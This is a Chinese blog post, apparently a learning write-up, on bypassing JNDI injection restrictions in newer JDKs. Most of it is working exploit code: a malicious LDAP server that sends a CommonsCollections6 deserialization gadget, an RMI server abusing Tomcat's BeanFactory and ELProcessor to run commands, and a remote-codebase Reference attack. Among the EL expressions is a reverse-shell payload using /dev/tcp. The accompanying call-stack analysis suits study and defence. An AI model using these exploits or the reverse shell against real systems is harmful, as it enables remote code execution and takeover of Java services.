JNDI注入高版本绕过学习

JNDI(Java Naming and Directory Interface)是一个应用程序设计的 API,一种标准的 Java 命名系统接口。JNDI 提供统一的客户端 API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录系统,使得 Java 应用程序可以和这些命名服务和目录服务之间进行交互。

协议作用
LDAP轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容
RMIJAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象
DNS域名服务
CORBA公共对象请求代理体系结构

高版本绕过主要有两种方式:

  • LDAP Server 直接返回恶意序列化数据,但需要目标环境存在 Gadget 依赖
  • 使用本地 Factory 绕过(主要是利用了 org.apache.naming.facotry.BeanFactory 类)

直接返回序列化数据

利用

LDAP Server 可以直接改 marshalsec 里面的:

public class LDAPServer {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main(String[] args) {
        String[] tmpArgs = new String[]{"http://localhost:9999/#Calc"};
        int port = 8888;
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(tmpArgs[0])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;


        /**
         *
         */
        public OperationInterceptor(URL cb) {
            this.codebase = cb;
        }


        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            } catch (Exception e1) {
                e1.printStackTrace();
            }

        }


        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws Exception {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if (refPos > 0) {
                cbstring = cbstring.substring(0, refPos);
            }
            /*
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
             */

            // send serial data
            e.addAttribute("javaSerializedData", getCommonsCollections6());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

        static byte[] getCommonsCollections6() throws Exception {
            TemplatesImpl templates = Utils.creatTemplatesImpl(Calc.class);
            Transformer invokerTransformer = new InvokerTransformer("getClass", null, null);
            Map innerMap = new HashMap();
            Map outerMap = LazyMap.decorate(innerMap, invokerTransformer);
            TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, templates);
            HashMap expMap = new HashMap();
            expMap.put(tiedMapEntry, "value");
            outerMap.clear();
            Utils.setFieldValue(invokerTransformer, "iMethodName", "newTransformer");

            return Utils.serialize(expMap);
        }

    }
}
> javac Calc.java
> python3 -m http.server 9999

客户端 lookup 方法参数可控:

简单分析

(ObjectInputStream#readObject --> ... --> Runtime.getRuntime.exec('calc'))
deserializeObject:528, Obj (com.sun.jndi.ldap)
decodeObject:239, Obj (com.sun.jndi.ldap)
c_lookup:1051, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:8, JNDIClient (JNDI.bypass1)

Obj#decodeObject 方法里:

如果 var0.JAVA_ATTRIBUTES[1] 不为 null,则会进入 Obj#deserializeObject 方法中去,我们来看 JAVA_ATTRIBUTES 的定义:

static final String[] JAVA_ATTRIBUTES = new String[]{"objectClass", "javaSerializedData", "javaClassName", "javaFactory", "javaCodeBase", "javaReferenceAddress", "javaClassNames", "javaRemoteLocation"};

对应下标为 1 的是 javaSerizlizedData,而这里的 var0 是 LDAP 服务端发送的 Attributes(可控),所以在服务端把这个属性和恶意的序列化数据绑定:

// LDAP Server

e.addAttribute("javaSerializedData", getCommonsCollections6());

然后进入 Obj#deserializeObject 方法,直接进行了反序列化:

本地 Factory 绕过

在 Reference 类中的 factory Class,要求实现 ObjectFactory 接口,在 "NamingManager#getObjectFactoryFromReference" 方法中的逻辑是这样的:

  1. 优先从本地加载 factory,这就要求 factory Class 在本地的 ClassPath 中
  2. 本地加载不到会从 codebase 处加载,但是由于高版本 jdk 默认不信任 codebase,在一般情况下无法利用
  3. 在加载完 factory 之后会强制类型转换为 javax.naming.spi.ObjectFactory 接口类型,之后调用 factory.getObjectInstance() 方法

所以如果找可以利用的 factory 就要满足下面的要求:

  • 在目标的 ClassPath 中,且实现了 javax.naming.spi.ObjectFactory 接口
  • getObjectInstance 方法可以被利用

这个可用的 factory 类为 org.apache.naming.BeanFactory,位于 tomcat 的依赖包中,此外,这个 factory 绕过需要搭配 javax.el.ELProcessor 来完成 RCE,依赖:

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>8.5.0</version>
</dependency>

<!-- 加载ELProcessor时需要 -->
<dependency>
    <groupId>org.apache.tomcat.embed</groupId>
    <artifactId>tomcat-embed-el</artifactId>
    <version>8.5.0</version>
</dependency>

分析

来到 BeanFactory#getObjectInstance 方法中(太长不放图了- -)

这里的代码逻辑比较复杂,简单可以概括为以下几点:

  • BeanFactory#getObjectInstance 要求传入了 Reference 必须为 ResourceRef 的实例
  • BeanFactory 通过反射创建了一个 Bean,这个 Bean 的类名、属性、属性值都来自于 Reference 对象,我们可控
  • 在注入 Bean 的属性的时候会调用对应的 setter 方法,这个 setter 方法不一定为 set... 形式,通过 ResourceRef 对象中的一个魔法属性 forceString ,可以把任意 public 方法转化为该属性 setter 方法。
  • 这个 public 方法的参数类型必须为 String.class

可以利用的方法为 javax.el.ELProceor#eval 方法,这个方法可以执行任意的 EL 表达式。

Expliot

EL 表达式利用 JS 引擎执行命令:

String el = "''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()\")";
// 反弹shell
String el = "''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/bash','-c','bash -i >& /dev/tcp/ip/port 0>&1']).start()\")";
public class RMIServer {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
        StringRefAddr sr1 = new StringRefAddr("forceString", "X=eval");
        String el = "''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()\")";
        StringRefAddr sr2 = new StringRefAddr("X", el);
        ref.add(sr1);
        ref.add(sr2);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("pwn", referenceWrapper);
    }
}
public class JNDIClient {
    public static void main(String[] args) throws Exception {
        String url = "rmi://localhost:1099/pwn";
        InitialContext context = new InitialContext();
        context.lookup(url);
    }
}

扩展

InitialContext类

由 JNDI+RMI 漏洞代码进行分析

package jndi_rmi_injection;

import javax.naming.InitialContext;
import javax.naming.NamingException;
public class RMIClient {
    public static void main(String[] args) throws NamingException{
        String uri = "rmi://127.0.0.1:7778/RCE";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(uri);
    }
}

InitialContext 类用于读取 JNDI 的一些配置信息,内含对象和其在 JNDI 中的注册名称的映射信息

InitialContext initialContext = new InitialContext(); // 初始化上下文,获取初始目录环境的一个引用

lookup(String name) 获取 name 的数据,这里的 uri 被定义为 rmi://127.0.0.1:7778/RCE 所以会通过 rmi 协议访问 127.0.0.1:7778/RCE

String uri = "rmi://127.0.0.1:7778/RCE";
initialContext.lookup(uri); //利用lookup() 函数获取指定的远程对象

由于 lookup() 参数可控,导致漏洞的出现,跟进代码如下

Reference 类

Reference 是一个抽象类,每个 Reference 都有一个指向的对象,对象指定类会被加载并实例化。
由 JNDI+RMI 服务端攻击代码

package jndi_rmi_injection;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;
import com.sun.jndi.rmi.registry.ReferenceWrapper;

public class RMIServer {
    public static void main(String[] args) throws Exception{
        Registry registry = LocateRegistry.createRegistry(7778);
        Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/");
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);
        registry.bind("RCE",wrapper);
    }

}

reference 指定了一个 Calculator 类,于远程的 http://127.0.0.1:8081/ 服务端上,等待客户端的调用并实例化执行。

Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/");

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值